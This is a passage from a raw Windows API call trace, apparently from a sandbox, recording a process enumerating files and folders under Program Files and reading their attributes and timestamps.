lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d9b2cc, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7d9b2cc, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7c93477c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2059c, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.IDX", cAlternateFileName="")) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7e0d6e9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7e0d6e9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7da2a43c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe3770, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.LTS", cAlternateFileName="")) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f8a49f, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7f8a49f, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dc3f77c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2515b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.TTS", cAlternateFileName="")) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc812d3b4, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc812d3b4, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dcfde5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.UDT", cAlternateFileName="")) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8153513, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc8153513, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7df1319c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x308e50, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.UNT", cAlternateFileName="")) returned 1 [0087.574] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82d02c9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc82d02c9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dff79dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x36e466, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.WIH", cAlternateFileName="")) returned 1 [0087.574] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82d02c9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc82d02c9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dff79dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x36e466, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.WIH", cAlternateFileName="")) returned 0 [0087.574] GetLastError () returned 0x12 [0087.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305e60) returned 1 [0087.574] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0087.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305f68) returned 1 [0087.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305d58) returned 1 [0087.575] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7b89235, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7b89235, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0087.575] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0087.575] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0087.575] GetLastError () returned 0x12 [0087.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305b48) returned 1 [0087.575] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305a40) returned 1 [0087.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305938) returned 1 [0087.576] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7523740, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7523740, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f416c90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0087.576] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7b630d6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7b630d6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f4f9d60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSDecWrp.dll", cAlternateFileName="")) returned 1 [0087.576] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf80be232, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf80be232, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f6c4d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0087.576] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf9b217, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xfaf9b217, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0087.576] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf9b217, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xfaf9b217, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0087.576] GetLastError () returned 0x12 [0087.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305620) returned 1 [0087.576] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305728) returned 1 [0087.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.577] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0087.577] GetLastError () returned 0x12 [0087.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.577] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.578] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0087.578] GetLastError () returned 0x12 [0087.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.578] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0087.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.579] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0087.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System" (normalized: "c:\\program files (x86)\\common files\\system"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.579] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System" (normalized: "c:\\program files (x86)\\common files\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0087.579] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0087.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.580] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0087.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.580] NtClose (Handle=0x168) returned 0x0 [0087.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0087.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.581] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0087.583] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.583] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0087.583] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886e43c6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x886e43c6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x89202410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0087.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.584] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.584] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0087.584] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="")) returned 1 [0087.584] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2406d7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2406d7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xad000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0087.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.586] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d923a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8d4d923a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf37f6470, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0087.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.587] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d923a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8d4d923a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf37f6470, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0087.587] GetLastError () returned 0x12 [0087.587] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0087.587] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.587] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.587] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0087.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.588] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado" (normalized: "c:\\program files (x86)\\common files\\system\\ado"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.588] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado" (normalized: "c:\\program files (x86)\\common files\\system\\ado"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0087.588] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.589] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.589] NtClose (Handle=0x168) returned 0x0 [0087.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.590] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0087.591] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.592] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252bcdd, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x252bcdd, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab6cf35d, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0087.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 